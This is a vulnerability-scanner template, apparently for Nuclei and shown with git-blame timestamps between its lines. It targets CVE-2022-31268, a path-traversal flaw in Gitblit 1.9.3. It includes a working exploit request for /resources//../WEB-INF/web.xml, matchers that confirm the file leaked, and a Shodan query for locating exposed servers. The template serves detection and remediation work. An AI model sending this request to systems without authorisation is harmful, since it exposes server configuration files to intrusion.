2022-06-06 10:59:31 +00:00
|
|
|
id: CVE-2022-31268
|
|
|
|
|
|
|
|
info:
|
2022-07-26 13:45:11 +00:00
|
|
|
name: Gitblit 1.9.3 - Local File Inclusion
|
2022-06-06 10:59:31 +00:00
|
|
|
author: 0x_Akoko
|
2022-06-06 13:40:27 +00:00
|
|
|
severity: high
|
2022-06-06 13:27:12 +00:00
|
|
|
description: |
|
2022-07-26 13:45:11 +00:00
|
|
|
Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268).
|
2022-06-06 10:59:31 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md
|
|
|
|
- https://vuldb.com/?id.200500
|
2022-07-26 13:45:11 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-31268
|
2022-06-06 10:59:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cve-id: CVE-2022-31268
|
|
|
|
cwe-id: CWE-22
|
2023-11-10 17:07:52 +00:00
|
|
|
epss-score: 0.00556
|
2023-11-11 17:44:56 +00:00
|
|
|
epss-percentile: 0.74969
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:gitblit:gitblit:1.9.3:*:*:*:*:*:*:*
|
2022-06-06 13:27:12 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: gitblit
|
|
|
|
product: gitblit
|
2023-09-06 11:59:08 +00:00
|
|
|
shodan-query: http.html:"Gitblit"
|
2022-06-06 13:27:12 +00:00
|
|
|
tags: cve,cve2022,lfi,gitblit
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-06-06 10:59:31 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/resources//../WEB-INF/web.xml"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2022-06-06 13:27:12 +00:00
|
|
|
part: body
|
2022-06-06 10:59:31 +00:00
|
|
|
words:
|
|
|
|
- "</web-app>"
|
|
|
|
- "java.sun.com"
|
2022-06-06 13:27:12 +00:00
|
|
|
- "gitblit.properties"
|
2022-06-06 10:59:31 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "application/xml"
|
2022-06-06 13:27:12 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-11 17:50:28 +00:00
|
|
|
|
|
|
|
# digest: 490a0046304402200abcf478b7647df9cd6e096944701b0970c3819e8cf107fa9c5cbb9107d0c46c022008530320c13987193eb0edea95a12b47f1a8eb2cdfcacf8c58ac23fb77b4f808:922c64590222798bb761d5b6d8e72950
|